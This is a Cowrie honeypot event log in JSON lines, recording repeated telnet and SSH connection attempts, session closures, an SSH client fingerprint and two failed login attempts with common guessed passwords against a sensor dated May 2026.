{"eventid":"cowrie.login.failed","username":"test1","password":"12345","message":"login attempt [test1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:20.397071Z","src_ip":"221.139.88.149","session":"2a62d23e36f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.524579524993896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:20.422535Z","src_ip":"51.161.172.108","session":"dd848a2eedce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34402,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d94a1ddbe03","protocol":"telnet","message":"New connection: 51.161.172.108:34402 (159.203.135.109:23) [session: 3d94a1ddbe03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:20.483567Z"}
{"eventid":"cowrie.session.closed","duration":31.98481822013855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:20.922478Z","src_ip":"51.161.172.108","session":"e3d33dbddadf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77563261985779,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:20.941322Z","src_ip":"167.99.38.72","session":"c73a9c7624b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34418,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c83dfe23d77","protocol":"telnet","message":"New connection: 51.161.172.108:34418 (159.203.135.109:23) [session: 6c83dfe23d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:21.144532Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34424,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5f6094f2e4","protocol":"telnet","message":"New connection: 51.161.172.108:34424 (159.203.135.109:23) [session: 1f5f6094f2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:21.148721Z"}
{"eventid":"cowrie.session.closed","duration":30.782302618026733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:21.236266Z","src_ip":"51.161.172.108","session":"84109d515763","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13699960708618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:21.313632Z","src_ip":"51.161.172.108","session":"0588b988212c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863386154174805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:21.440954Z","src_ip":"51.161.172.108","session":"fa95cd8d2801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.629546403884888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:21.525041Z","src_ip":"51.161.172.108","session":"2b2cc58b669b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:21.599526Z","src_ip":"221.139.88.149","session":"2a62d23e36f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.8","message":"Connection lost after 25.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:21.805659Z","src_ip":"122.168.114.167","session":"44bdea01a250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34438,"dst_ip":"159.203.135.109","dst_port":23,"session":"036f7ab36d9f","protocol":"telnet","message":"New connection: 51.161.172.108:34438 (159.203.135.109:23) [session: 036f7ab36d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:21.974051Z"}
{"eventid":"cowrie.session.closed","duration":31.15044069290161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:22.210062Z","src_ip":"51.161.172.108","session":"621a08ca4050","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75580668449402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:22.319414Z","src_ip":"51.161.172.108","session":"962efe66d3ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751783847808838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:22.524897Z","src_ip":"51.161.172.108","session":"0978a73109be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34444,"dst_ip":"159.203.135.109","dst_port":23,"session":"311f7c5f75c1","protocol":"telnet","message":"New connection: 51.161.172.108:34444 (159.203.135.109:23) [session: 311f7c5f75c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:22.906746Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34458,"dst_ip":"159.203.135.109","dst_port":23,"session":"5069275b3e44","protocol":"telnet","message":"New connection: 51.161.172.108:34458 (159.203.135.109:23) [session: 5069275b3e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:23.159689Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":36120,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe9f97f51ac","protocol":"ssh","message":"New connection: 160.251.101.169:36120 (10.17.0.5:22) [session: 6fe9f97f51ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:23.304609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:23.310379Z","src_ip":"160.251.101.169","session":"6fe9f97f51ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:23.464025Z","src_ip":"160.251.101.169","session":"6fe9f97f51ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.970052480697632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:23.534649Z","src_ip":"51.161.172.108","session":"031e2d20f703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34462,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccc66ae7b678","protocol":"telnet","message":"New connection: 51.161.172.108:34462 (159.203.135.109:23) [session: ccc66ae7b678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:23.912394Z"}
{"eventid":"cowrie.session.closed","duration":31.826745748519897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:23.932428Z","src_ip":"51.161.172.108","session":"eb82e5122274","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx#EDC","message":"login attempt [ubuntu/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:24.082222Z","src_ip":"160.251.101.169","session":"6fe9f97f51ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.08205986022949,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:24.133138Z","src_ip":"51.161.172.108","session":"50db9c442489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819838047027588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:24.294800Z","src_ip":"51.161.172.108","session":"d62b20561b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855685472488403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:24.393634Z","src_ip":"51.161.172.108","session":"4ceb864a874b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34476,"dst_ip":"159.203.135.109","dst_port":23,"session":"85e5dd12d025","protocol":"telnet","message":"New connection: 51.161.172.108:34476 (159.203.135.109:23) [session: 85e5dd12d025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:24.404690Z"}
{"eventid":"cowrie.session.closed","duration":30.671141862869263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:24.497906Z","src_ip":"51.161.172.108","session":"b0fd191a9041","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":40502,"dst_ip":"159.203.135.109","dst_port":23,"session":"46e812cc7dcb","protocol":"telnet","message":"New connection: 167.99.38.72:40502 (159.203.135.109:23) [session: 46e812cc7dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:25.026706Z"}
{"eventid":"cowrie.session.closed","duration":30.99227786064148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:25.195047Z","src_ip":"51.161.172.108","session":"f187ee6a51da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29548168182373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:25.229090Z","src_ip":"51.161.172.108","session":"83bf0bdc4add","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:25.240759Z","src_ip":"160.251.101.169","session":"6fe9f97f51ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10493755340576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:25.344672Z","src_ip":"51.161.172.108","session":"9af13e227b3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34482,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd2152dc5abe","protocol":"telnet","message":"New connection: 51.161.172.108:34482 (159.203.135.109:23) [session: bd2152dc5abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:25.575014Z"}
{"eventid":"cowrie.session.closed","duration":30.895235776901245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:25.765877Z","src_ip":"51.161.172.108","session":"40f227ac375f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34498,"dst_ip":"159.203.135.109","dst_port":23,"session":"44343423abd1","protocol":"telnet","message":"New connection: 51.161.172.108:34498 (159.203.135.109:23) [session: 44343423abd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:25.833379Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34502,"dst_ip":"159.203.135.109","dst_port":23,"session":"554843cddf88","protocol":"telnet","message":"New connection: 51.161.172.108:34502 (159.203.135.109:23) [session: 554843cddf88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:25.966098Z"}
{"eventid":"cowrie.session.closed","duration":30.485666513442993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:26.244305Z","src_ip":"51.161.172.108","session":"ce6248b16f03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34510,"dst_ip":"159.203.135.109","dst_port":23,"session":"6988f9d14a5b","protocol":"telnet","message":"New connection: 51.161.172.108:34510 (159.203.135.109:23) [session: 6988f9d14a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:26.330078Z"}
{"eventid":"cowrie.session.closed","duration":31.635128498077393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:26.556806Z","src_ip":"51.161.172.108","session":"5160696c3746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377780437469482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:26.800182Z","src_ip":"51.161.172.108","session":"dd470a43be0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34518,"dst_ip":"159.203.135.109","dst_port":23,"session":"978ae3e219ec","protocol":"telnet","message":"New connection: 51.161.172.108:34518 (159.203.135.109:23) [session: 978ae3e219ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:27.030580Z"}
{"eventid":"cowrie.session.closed","duration":31.3622784614563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:27.093253Z","src_ip":"51.161.172.108","session":"3279a814d70d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.630852222442627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:27.098912Z","src_ip":"51.161.172.108","session":"251cae380d6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.638349056243896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:27.285373Z","src_ip":"51.161.172.108","session":"0de75e21b891","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34520,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f1151952ed2","protocol":"telnet","message":"New connection: 51.161.172.108:34520 (159.203.135.109:23) [session: 4f1151952ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:27.485784Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34532,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c3a27c39f8a","protocol":"telnet","message":"New connection: 51.161.172.108:34532 (159.203.135.109:23) [session: 5c3a27c39f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:27.521227Z"}
{"eventid":"cowrie.session.closed","duration":30.882256746292114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:27.540531Z","src_ip":"51.161.172.108","session":"f0bb05ff3fe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34540,"dst_ip":"159.203.135.109","dst_port":23,"session":"e46be090f124","protocol":"telnet","message":"New connection: 51.161.172.108:34540 (159.203.135.109:23) [session: e46be090f124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:28.516938Z"}
{"eventid":"cowrie.session.closed","duration":31.59151268005371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:28.629000Z","src_ip":"51.161.172.108","session":"25044a9c30a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42489767074585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:28.829424Z","src_ip":"51.161.172.108","session":"a54d86122320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.082841873168945,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:29.008607Z","src_ip":"51.161.172.108","session":"3e804837f4e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34556,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbb682f6cb20","protocol":"telnet","message":"New connection: 51.161.172.108:34556 (159.203.135.109:23) [session: bbb682f6cb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:29.165829Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56654,"dst_ip":"159.203.135.109","dst_port":23,"session":"916302b33b77","protocol":"telnet","message":"New connection: 51.161.172.108:56654 (159.203.135.109:23) [session: 916302b33b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:29.361771Z"}
{"eventid":"cowrie.session.closed","duration":30.786377906799316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:29.409189Z","src_ip":"51.161.172.108","session":"2309e949280b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786930084228516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:29.548476Z","src_ip":"51.161.172.108","session":"f8e5600bcb2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61867594718933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:29.886671Z","src_ip":"51.161.172.108","session":"492e48f62f40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.031363010406494,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:30.037157Z","src_ip":"167.99.38.72","session":"ffe9ca30f119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215301036834717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:30.188218Z","src_ip":"51.161.172.108","session":"7567e60199fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.555131912231445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:30.340730Z","src_ip":"51.161.172.108","session":"c58f5dab2902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56656,"dst_ip":"159.203.135.109","dst_port":23,"session":"2be8df107b37","protocol":"telnet","message":"New connection: 51.161.172.108:56656 (159.203.135.109:23) [session: 2be8df107b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:30.572409Z"}
{"eventid":"cowrie.session.closed","duration":31.683799505233765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:30.796707Z","src_ip":"51.161.172.108","session":"8c95de842fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56668,"dst_ip":"159.203.135.109","dst_port":23,"session":"c95991dce0c2","protocol":"telnet","message":"New connection: 51.161.172.108:56668 (159.203.135.109:23) [session: c95991dce0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:31.102618Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56676,"dst_ip":"159.203.135.109","dst_port":23,"session":"9268d43b2005","protocol":"telnet","message":"New connection: 51.161.172.108:56676 (159.203.135.109:23) [session: 9268d43b2005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:31.116638Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56680,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8bef782bbea","protocol":"telnet","message":"New connection: 51.161.172.108:56680 (159.203.135.109:23) [session: e8bef782bbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:31.384228Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56692,"dst_ip":"159.203.135.109","dst_port":23,"session":"525bd82955c7","protocol":"telnet","message":"New connection: 51.161.172.108:56692 (159.203.135.109:23) [session: 525bd82955c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:31.526365Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56696,"dst_ip":"159.203.135.109","dst_port":23,"session":"24dae21cde92","protocol":"telnet","message":"New connection: 51.161.172.108:56696 (159.203.135.109:23) [session: 24dae21cde92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:31.666298Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56710,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da3d6fa8713","protocol":"telnet","message":"New connection: 51.161.172.108:56710 (159.203.135.109:23) [session: 5da3d6fa8713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:32.448869Z"}
{"eventid":"cowrie.session.closed","duration":31.60167121887207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:32.748739Z","src_ip":"51.161.172.108","session":"f93291054286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.352717638015747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:32.776261Z","src_ip":"51.161.172.108","session":"4064672cf0a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.336334466934204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:33.160333Z","src_ip":"51.161.172.108","session":"1fb8a7defee4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077131509780884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:33.333720Z","src_ip":"51.161.172.108","session":"876f0023f850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56724,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1863f4b127b","protocol":"telnet","message":"New connection: 51.161.172.108:56724 (159.203.135.109:23) [session: a1863f4b127b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:33.539773Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33506,"dst_ip":"159.203.135.109","dst_port":22,"session":"331d5c3b36d3","protocol":"ssh","message":"New connection: 122.168.114.167:33506 (159.203.135.109:22) [session: 331d5c3b36d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:34.096821Z"}
{"eventid":"cowrie.session.closed","duration":30.643041372299194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:34.390951Z","src_ip":"51.161.172.108","session":"3747f60fa673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224446296691895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:34.445752Z","src_ip":"51.161.172.108","session":"0919f4339e47","protocol":"telnet"}
